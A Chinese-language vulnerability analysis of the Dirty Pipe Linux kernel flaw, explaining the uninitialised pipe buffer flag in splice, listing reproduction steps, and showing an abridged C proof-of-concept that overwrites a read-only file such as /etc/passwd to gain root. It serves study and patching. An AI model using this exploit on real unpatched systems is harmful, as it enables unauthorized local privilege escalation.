一、影響版本
Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
二、原理
Dirtypipe漏洞允許向任意可讀檔案中寫資料,可造成非特權程式向root程式注入程式碼。該漏洞發生linux核心空間透過splice方式實現資料複製時,以"零複製"的形式(將檔案快取頁作為pipe的buf頁使用)將檔案傳送到pipe,並且沒有初始化pipe快取頁管理資料結構的flag成員。若提前在記憶體空間中佈置好“髒資料”讓flag標記為PIPE_BUF_FLAG_CAN_MERGE,就會導致檔案快取頁會在後續pipe通道中被當成普通pipe快取頁,進而被續寫和篡改。在這種情況下核心並不會將這個快取頁判定為"髒頁",短時間內不會重新整理到磁碟。在這段時間內所有訪問該檔案的場景都將使用被篡改的檔案快取頁,而不會重新開啟磁碟中的檔案讀取內容,因此達成一個"短時間內對任意可讀檔案任意寫"的操作,即可完成本地提權。
根因分析
管道(pipe)是核心提供的一種通訊機制,透過pipe/pipe2函式建立,返回兩個檔案描述符,一個用於傳送資料,另一個用於接受資料,類似管道的兩端。
在linux核心實現中,通常管道會快取總長度65536位元組,且用頁的形式進行管理,總共16頁(一頁4096位元組),頁面之間並不連續,而是透過陣列進行管理,形成一個環形結構。管道會維護兩個指標,一個用來寫管道頭(pipe->head),一個用來讀管道尾(pipe->tail),此處重點分析pipe_write函式。
- pipe_write函式程式碼關鍵功能說明:
[1]如果當前管道(pipe)中不為空(head==tail判定為空管道),則說明現在管道中有未被讀取的資料,則獲取head指標,也就是指向最新的用來寫的頁,檢視該頁的len、offset(為了找到資料結尾)。接下來嘗試在當前頁面續寫。
[2]判斷當前頁面是否帶有PIPE_BUF_FLAG_CAN_MERGEflag標記,如果不存在則不允許在當前頁面續寫。或當前寫入的資料拼接在之前的資料後面長度超過一頁(即寫入操作跨頁),如果跨頁,則無法續寫。
[3]如果無法在上一頁續寫,則另起一頁。
[4]alloc_page申請一個新的頁。
[5]將新的頁放在陣列最前面(可能會替換掉原有頁面),初始化頁管理結構的相關成員。
[6]buf->flag預設初始化為PIPE_BUF_FLAG_CAN_MERGE,因為預設狀態是允許pipe快取頁續寫的。
漏洞利用的關鍵就是在splice中未初始化buf->flag標記,導致splice傳送的檔案快取頁在buf->flag為PIPE_BUF_FLAG_CAN_MERGE時被當成了普通pipe快取頁。
- splice函式關鍵功能及漏洞利用分析
在上文提到的pipe透過管理16個頁來作為快取,splice的零複製方法是直接用檔案快取頁來替換pipe中的快取頁(更改pipe快取頁指標指向檔案快取頁)。
基於對splice函式程式碼和呼叫棧關係分析發現splice函式透過呼叫copy_page_to_iter_pipe函式將pipe快取頁結構指向要傳輸的檔案的檔案快取頁。呼叫棧如下圖:
- copy_page_to_iter_pipe函式關鍵功能:
[1]首先根據pipe頁陣列環形結構,找到當前寫指標(pipe->head)位置。
[2]將當前需要寫入的頁指向準備好的檔案快取頁,並設定其他資訊,比如buf->len是由splice系統呼叫的傳入引數決定的,此處唯獨沒有初始化buf->flag
根據前面管道實現機制章節中對pipe_write的分析可知,如果重新呼叫pipe_write向pipe中寫資料,寫指標(pipe->head)指向剛傳送的檔案快取頁,且flag為PIPE_BUF_FLAG_CAN_MERGE時,則pipe_write在寫入長度不跨頁的前提下,會認為可以繼續在該頁寫,這樣本次寫操作就寫在了本不該寫的檔案快取頁,如下圖程式碼所示。
linux將開啟的檔案放到快取頁之中,快取頁會儲存一段時間,因此短時間內訪問同一個檔案,都會操作相同的檔案快取頁,而不是反覆開啟。透過上文寫快取頁的方法篡改了目標檔案快取頁(即便目標檔案沒有寫許可權),導致在接下來的一段時間內所有使用這個檔案的程式都會訪問被篡改的快取頁,從而完成短時間內對目標檔案的寫操作,進而實現本地提權。
三、復現
復現條件:
- 攻擊者必須具有讀許可權(因為它需要將頁面拼接到管道中)
- 偏移量必須不在頁面邊界上(因為該頁面的至少一個位元組必須被拼接到管道中)
- 寫操作不能跨頁邊界(因為將為其餘部分建立一個新的匿名緩衝區)
- 檔案不能調整大小(因為管道有自己的頁填充管理,不告訴頁快取已經追加了多少資料)
復現步驟:
- 建立一個管道。
- 用任意資料填充管道(在所有環條目中設定PIPE_BUF_FLAG_CAN_MERGE標誌)。
- 清空管道(保留pipe_inode_info環上所有struct pipe_buffer例項中設定的標誌)。
- 將目標檔案(用O_RDONLY開啟)中的資料從目標偏移量的前面拼接到管道中。
- 將任意資料寫入管道; 由於設定了PIPE_BUF_FLAG_CAN_MERGE,因此該資料將覆蓋快取的檔案頁面,而不是建立一個新的匿名struct pipe_buffer。
復現程式碼參見 :https://github.com/Arinerron/...
1、建立pipe;
2、使用任意資料填充管道(填滿, 而且是填滿Pipe的最大空間);
3、清空管道內資料;
4、使用splice()讀取目標檔案(只讀)的1位元組資料傳送至pipe;
5、write()將任意資料繼續寫入pipe, 此資料將會覆蓋目標檔案內容;
6、只要挑選合適的目標檔案(必須要有可讀許可權), 利用漏洞Patch掉關鍵欄位資料,
即可完成從普通使用者到root使用者的許可權提升, POC使用的是/etc/passwd檔案的利用方式。
---------------------------------------------------------------------
static void prepare_pipe(int p[2]){
if (pipe(p)) abort();
// 獲取Pipe可使用的最大頁面數量
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
// 任意資料填充
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
// 清空Pipe
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
}
int main(int argc, char **argv){
......
// 只讀開啟目標檔案
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
......
// 建立Pipe
int p[2];
prepare_pipe(p);
// splice()將檔案1位元組資料寫入Pipe
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
......
// write()寫入任意資料到Pipe
nbytes = write(p[1], data, data_size);
// 判斷是否寫入成功
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
復現版本
Linux ubuntu 5.10.5-051005-generic #202101061537 SMP Wed Jan 6 15:43:53 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
復現截圖
執行前
執行後,成功將/etc/passwd裡root的密碼修改成了我們設定的密碼。這塊的密碼內容其實是存在於page cache中的,所以機器重啟後會恢復成原來的密碼
四、修復建議
建議使用者升級Linux核心到5.16.11、5.15.25、5.10.102及以上版本。
參考資料
https://mp.weixin.qq.com/s/6V...
https://www.anquanke.com/post...
https://dirtypipe.cm4all.com/
https://github.com/chenaotian...
核心 http://zhaoxuhui.top/blog/202...
虛擬機器修改核心 https://blog.csdn.net/qq_4262...